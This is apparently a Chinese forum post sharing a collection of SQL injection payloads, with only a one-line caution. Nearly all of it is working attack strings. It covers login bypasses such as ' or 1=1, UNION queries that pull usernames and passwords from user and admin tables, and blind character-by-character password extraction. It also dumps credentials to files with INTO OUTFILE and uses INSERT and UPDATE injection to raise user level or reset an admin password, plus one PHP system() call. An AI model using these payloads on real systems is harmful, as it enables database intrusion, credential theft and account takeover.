[分享]一些实用的注入语句
注入有风险，操作需谨慎
' or 1=1
' or '1=1
'/*
'%23
' and password='mypass
id=-1 union select 1,1,1
id=-1 union select char(97),char(97),char(97)
id=1 union select 1,1,1 from members
id=1 union select 1,1,1 from admin
id=1 union select 1,1,1 from user
userid=1 and password=mypass
userid=1 and mid(password,3,1)=char(112)
userid=1 and mid(password,4,1)=char(97)
and ord(mid(password,3,1))>111 （ord函数很好用，可以返回整形的）
' and LENGTH(password)='6（探测密码长度）
' and LEFT(password,1)='m
' and LEFT(password,2)='my
…………………………依次类推
' union select 1,username,password from user/*
' union select 1,username,password from user/*
=' union select 1,username,password from user/* （可以是1 或者=后直接跟）
99999' union select 1,username,password from user/*
' into outfile 'c:/file.txt （导出文件）
=' or 1=1 into outfile 'c:/file.txt
1' union select 1,username,password from user into outfile 'c:/user.txt
SELECT password FROM admins WHERE login='John' INTO DUMPFILE
'/path/to/site/file.txt'
id=' union select 1,username,password from user into outfile
id=-1 union select 1,database(),version() （灵活应用查询
常用查询测试语句，
SELECT * FROM table WHERE 1=1
SELECT * FROM table WHERE 'uuu'='uuu'
SELECT * FROM table WHERE 1<>2
SELECT * FROM table WHERE 3>2
SELECT * FROM table WHERE 2<3
SELECT * FROM table WHERE 1
SELECT * FROM table WHERE 1+1
SELECT * FROM table WHERE 1--1
SELECT * FROM table WHERE ISNULL(NULL)
SELECT * FROM table WHERE ISNULL(COT(0))
SELECT * FROM table WHERE 1 IS NOT NULL
SELECT * FROM table WHERE NULL IS NULL
SELECT * FROM table WHERE 2 BETWEEN 1 AND 3
SELECT * FROM table WHERE 'b' BETWEEN 'a' AND 'c'
SELECT * FROM table WHERE 2 IN (0,1,2)
SELECT * FROM table WHERE CASE WHEN 1>0 THEN 1 END
id=1 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1
union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user
union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1
id=10000 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where
id=1 and groupid=1
union select 1,username,1,password,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user
where id=1 （替换，寻找密码）
union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and
ord(mid(password,1,1))=49 （验证第一位密码）
union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and
ord(mid(password,2,1))=50 （第二位）
union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and
ord(mid(password,3,1))=51
…………………………………………………………
例如1：灰色轨迹 变换id进行测试（meteor
union%20(SELECT%20allowsmilies,public,userid,'0000-0-0',user(),version()%20FR
OM%20calendar_events%20WHERE%20eventid%20=%2013)%20order%20by%20
eventdate
union%20(SELECT%20allowsmilies,public,userid,'0000-0-0',pass(),version()%20FR
OM%20calendar_events%20WHERE%20eventid%20=%2010)%20order%20by%20
eventdate
构造语句：
SELECT allowsmilies,public,userid,eventdate,event,subject FROM calendar_events
WHERE eventid = 1 union (select 1,1,1,1,1,1,1 from user where userid=1)
SELECT allowsmilies,public,userid,eventdate,event,subject FROM calendar_events
WHERE eventid = 1 union (select 1,1,1,1,username,password from user where
userid=1)
UNION%20(SELECT%201,0,2,'1999-01-01','a',password%20FROM%20user%20W
HERE%20userid%20=%205)%20order%20by%20eventdate
UNION%20(SELECT%201,0,12695,'1999-01-01','a',password%20FROM%20user%
20WHERE%20userid=13465)%20order%20by%20eventdate
UNION%20(SELECT%201,0,12695,'1999-01-01','a',userid%20FROM%20user%20
WHERE%20username='sandflee')%20order%20by%20eventdate （查沙子的id）
（SELECT a FROM table_name WHERE a=10 AND B=1 ORDER BY a LIMIT 10)
SELECT * FROM article WHERE articleid='$id' UNION SELECT * FROM……（字
段和数据库相同情况下，可直接提交）
SELECT * FROM article WHERE articleid='$id' UNION SELECT 1,1,1,1,1,1,1
FROM……（不同的情况下）
特殊技巧：在表单，搜索引擎等地方写：
“___”
“.__ ”
“%
%' ORDER BY articleid/*
%' ORDER BY articleid#
__' ORDER BY articleid/*
__' ORDER BY articleid
$command = "dir c:";system($command);
SELECT * FROM article WHERE articleid='$id'
SELECT * FROM article WHERE articleid=$id
1' and 1=2 union select * from user where userid=1/* 句中变为
(SELECT * FROM article WHERE articleid='1' and 1=2 union select * from user
where userid=1/*')
1 and 1=2 union select * from user where userid=1
语句形式：建立一个库，插入：
CREATE DATABASE `injection`
CREATE TABLE `user` (
`userid` int(11) NOT NULL auto_increment,
`username` varchar(20) NOT NULL default '',
`password` varchar(20) NOT NULL default '',
PRIMARY KEY (`userid`)
) ;
INSERT INTO `user` VALUES (1, 'swap', 'mypass');
插如一个注册用户：
INSERT INTO `user` (userid, username, password, homepage, userlevel) VALUES ('',
'$username', '$password', '$homepage', '1');
“INSERT INTO membres (login,password,nom,email,userlevel) VALUES
('$login','$pass','$nom','$email','1')";
INSERT INTO membres (login,password,nom,email,userlevel) VALUES
('','','','','3')#','1')
"INSERT INTO membres SET
login='$login',password='$pass',nom='$nom',email='$email'";
INSERT INTO membres SET login='',password='',nom='',userlevel='3',email=''
"INSERT INTO membres VALUES ('$id','$login','$pass','$nom','$email','1')";
UPDATE user SET password='$password', homepage='$homepage' WHERE id='$id'
UPDATE user SET password='MD5(mypass)' WHERE username='admin'#)',
homepage='$homepage' WHERE id='$id'
"UPDATE membres SET password='$pass',nom='$nom',email='$email' WHER
id='$id'";
UPDATE membres SET password='[PASS]',nom='',userlevel='3',email=' ' WHERE
id='[ID]'
"UPDATE news SET Votes=Votes+1, score=score+$note WHERE idnews='$id'";
长用函数：
DATABASE()
USER()
SYSTEM_USER()
SESSION_USER()
CURRENT_USER()
比如：
UPDATE article SET title=$title WHERE articleid=1 对应函数
UPDATE article SET title=DATABASE() WHERE id=1
#把当前数据库名更新到title字段
UPDATE article SET title=USER() WHERE id=1
#把当前 MySQL 用户名更新到title字段
UPDATE article SET title=SYSTEM_USER() WHERE id=1
#把当前 MySQL 用户名更新到title字段
UPDATE article SET title=SESSION_USER() WHERE id=1
#把当前 MySQL 用户名更新到title字段
UPDATE article SET title=CURRENT_USER() WHERE id=1
#把当前会话被验证匹配的用户名更新到title字段
：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：
$req = "SELECT * FROM membres WHERE name LIKE '%$search%' ORDER BY
name";
SELECT * FROM membres WHERE name LIKE '%%' ORDER BY uid#%' ORDER
BY name
SELECT * FROM membres WHERE name LIKE '%%' ORDER BY uid#%' ORDER
BY name
SELECT uid FROM admins WHERE login='' OR 'a'='a' AND password='' OR 'a'='a'
（经典）
SELECT uid FROM admins WHERE login='' OR admin_level=1#' AND password=''
SELECT * FROM table WHERE msg LIKE '%hop
SELECT uid FROM membres WHERE login='Bob' AND password LIKE 'a%'#'
AND password=''
SELECT * FROM membres WHERE name LIKE '%%' ORDER BY uid#%' ORDE
